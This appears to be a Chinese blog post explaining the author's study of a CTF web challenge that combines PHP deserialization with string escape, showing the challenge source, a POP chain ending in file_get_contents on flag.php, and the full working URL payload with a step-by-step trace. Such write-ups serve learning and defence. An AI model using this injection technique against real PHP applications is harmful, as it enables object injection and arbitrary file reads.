PHP反序列化+字符串逃逸

今天看了一下安恒的月赛题,真的就看了一下,签到题都没写出来(我哭了)
其中web1是一道PHP反序列化+字符逃逸的题,事后看大佬的writeup看了半天才看懂,现在记录一下。
题目是访问网页直接给的源码:

<?php
show_source("index.php");
function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
    public $username;
    public $password;
    function __construct($a, $b){
        $this->username = $a;
        $this->password = $b;
    }
}

class B{
    public $b = 'gqy';
    function __destruct(){
        $c = 'a'.$this->b;
        echo $c;
    }
}

class C{
    public $c;
    function __toString(){
        //flag.php
        echo file_get_contents($this->c);
        return 'nice';
    }
}

$a = new A($_GET['a'],$_GET['b']);
//省略了存储序列化数据的过程,下面是取出来并反序列化的操作
$b = unserialize(read(write(serialize($a))));

这题一眼就能看得出来是序列化的题,奈何本人没文化,不知道还有字符串逃逸的说法,我是辣鸡

首先关于反序列化的部分,就是构造这样的代码来运行C()的__toString()方法

$a = new A();
$b = new B();
$c = new C();
$c->c = "flag.php";
$b->b = $c;
$a->username = "1";
$a->password = $b;
echo serialize($a);

O:1:"A":2:{s:8:"username";s:1:"1";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}}}
然后是字符串逃逸的部分,大佬是这样说的:

之后很明显就是字符逃逸了,看下read()和write()方法:

function write($data) {
    return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
    return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

可以看到\0\0\0的长度为6,然后chr(0).'*'.chr(0)的长度为3,因此read()方法可以造成字符逃逸。
假设分别传入1和2,得到这样的序列化字符串:


简单介绍一下原理,字符逃逸需要做的是通过字符串替换,让蓝色的长度为红色字部分的长度,这样就可以在本来的2的部分注入对象,然后进行反序列化。
Payload:
?a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};s:0:"";s:0:"
会得到这样的序列化字符串(每个*左右都有不可见字符%00):
O:1:"A":2:{s:8:"username";s:48:"********";s:8:"password";s:86:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};s:0:"";s:0:"";}


可以看到,红色部分刚好长度为48,后面就逃逸出去了,而橙色部分正好是读取flag的核心部分
像这个题是长的替换成短的,就把Payload构造到后面的属性上去;如果的短替换成长,比如p3师傅的ezphp,就把注入的部分拼接在当前属性的后面,使它们刚好逃逸出来。

看到这里我还是一脸懵的状态,没办法跟着程序走走看吧
首先按照payload里面的值传入程序
那么对这一句而言$a = new A($_GET['a'],$_GET['b']);a就是\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0,b就是A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};s:0:"";s:0:"
这没啥问题
然后程序运行$b = unserialize(read(write(serialize($a))));这一句中的serialize($a)结果输出一下是
O:1:"A":2:{s:8:"username";s:48:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:86:"A";s:8:"password";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:8:"flag.php";}};s:0:"";s:0:"";}

红色的就是我们填入的部分,是作为引号中的数据,不会成为影响结果的代码,到这里程序一切正常
接着运行下一句write(serialize($a))这一句对我们的程序没啥影响,因为我们序列化的结果里面没有chr(0) . '*' . chr(0)的结构,这一句代码用在下面的情况:

如果一个类有私有属性,那么序列化后就有chr(0) . '*' . chr(0)这样的结构

然后下一句read(write(serialize($a)))这个时候问题就出现了
这里为了好数数我把chr(0) . '*' . chr(0)写出-*-

你数一下绿色部分就成了引号里面的东西了,password后面的对象就解放出来了,本来这些是数据,不会影响到程序,但逃逸出来后就变成影响程序的代码了,这就是字符串逃逸
然后s:0:"";s:0:"是为了闭合最后的一个"
最后代码继续运行,flag就出来了

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章